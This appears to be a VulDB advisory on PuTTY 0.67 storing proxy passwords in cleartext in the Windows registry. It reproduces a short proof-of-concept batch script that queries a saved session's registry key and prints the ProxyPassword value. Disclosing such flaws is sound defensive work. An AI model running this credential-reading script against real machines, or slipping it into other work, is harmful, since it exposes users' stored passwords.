PuTTY 0.67 Proxy Password cleartext storage

Summaryinfo

A vulnerability was found in PuTTY 0.67. It has been rated as problematic. The affected element is an unknown function of the component Proxy Password Handler. The manipulation leads to cleartext storage. Moreover, an exploit is present.

Detailsinfo

A vulnerability, which was classified as problematic, has been found in PuTTY 0.67 (Connectivity Software). This issue affects an unknown function of the component Proxy Password Handler. The manipulation with an unknown input leads to a cleartext storage vulnerability. Using CWE to declare the problem leads to CWE-312. The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere. Impacted is confidentiality.

The weakness was disclosed 11/20/2016 by John Page (hyp3rlinx) as Putty Cleartext Password Storage as not defined mailinglist post (Bugtraq). The advisory is shared at seclists.org. An attack has to be approached locally. The successful exploitation requires a simple authentication. Technical details are unknown but a public exploit is available. MITRE ATT&CK project uses the attack technique T1555 for this issue.

A public exploit has been developed by John Page in Batch and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:

@echo off

setlocal ENABLEEXTENSIONS
set /p v1=Enter Putty Saved Session: %1

echo Search registry for %v1% session Putty password?

pause

set KEY_NAME=HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\%v1%
set VALUE_NAME=ProxyPassword

FOR /F "tokens=1-3" %%A IN ('REG QUERY %KEY_NAME% /v %VALUE_NAME% 2^>nul') DO (
    set ValueName=%%A
    set ValueType=%%B
    set ValueValue=%%C
)

if defined ValueName (
    @echo Value Name = %ValueName%
    @echo Value Type = %ValueType%
    @echo Value Password = %ValueValue%
    
) else (
    @echo %KEY_NAME%\%VALUE_NAME% not found.
)

set "v1="

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

• Connectivity Software

Name

• PuTTY

Version

• 0.67

License

• open-source

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion